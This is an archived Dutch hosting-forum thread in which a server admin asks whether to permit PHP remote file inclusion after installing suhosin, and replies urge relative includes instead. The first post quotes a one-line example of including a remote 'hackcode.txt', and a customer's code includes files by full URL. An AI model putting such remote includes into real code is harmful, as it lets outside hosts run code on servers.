PDA

Bekijk Volledige Versie : PHP remote inclusion toestaan?



bami82
26/01/08, 15:48
Hoi,

Ik heb pas geleden suhosin geinstalleerd om php beter te beveiligen. Nu gaf dat wat problemen met klanten die remote inclusion gebruiken(welliswaar de url van hun eigen site).

Vroeg me af of dat acceptabel is of dat je mensen moet vertellen altijd include(../config.php) the gebruiken ipv. include(url/config.php). Technisch gezien kan je met 1 regel php al veel doen als je dit toestaat (<?php include http://url.com/hackcode.txt; ?> )

Het lijkt er trouwens op dat ik dit niet uit kan zetten in suhosin (er is alleen een whitelist optie) weet iemand een andere manier wellicht om remote inclusion toe te staan voor lokale url's only?

Alvast bedankt.

Ramon Fincken
26/01/08, 15:56
op hun eigen site kunnen ze ook relatief includen

als dat betekend dat ze dan www.site.nl/pagina.php?id=7
moeten omzetten naar

$id = 7;
include('pagina.php');

en op pagina.php
if(!isset($_GET['id']))
{
if(!isset($id)) { $id = -1; } else { $id = intval($id); }
}
else
{
$id = intval($_GET['id']);
}

moet dat toch niet alteveel problemen opleveren lijkt me?

SebastiaanStok
26/01/08, 17:08
Als het bestand via het web word opgevraagd is het al uitgevoerd neem ik aan, dan behoor je gewoon file_get_contents() te gebruiken.

suhosin heeft sinds een bepaalde versie van PHP niets meer met die instellingen te maken.
Dat is gewoon iets wat bij php.ini staat.

En er is geen enkele reden waarom iemand remote_inclusion nodig heeft.

bami82
26/01/08, 17:33
Ik ben niet echt een PHP programmeur, hier is z' n voorbeeld:



if ($_SESSION['app_id']=='test') {
//qbooking
ob_start();
if ((isset($_SESSION['crmid']))&&($_SESSION['usergroup']<4))
include STARURL.'/test/qbookingadmin.php';
//include('./test/qbookingadmin.php');
else if (isset($_SESSION['crmid']))
include STARURL.'/test/qbooking.php';
$qbooking = str_replace("%SID%", session_id(), ob_get_contents());
ob_end_clean();
$html->AddVar("default", "qbooking", $qbooking)


STARURL is een variabele die gevult is met een volledige url. Dat werkt dus niet als ik suhosin aanzet (php4.4.8). Vraag is dus of ik de programmeur moet gaan vertellen dat hij zijn code meer secure moet maken of dat dit vrij normaal is en ik mijn server configuratie (shared server) erop aan moet passen.

SebastiaanStok
26/01/08, 17:37
Dit is zeker niet normaal...

http://www.phpfreakz.nl/artikelen.php?aid=106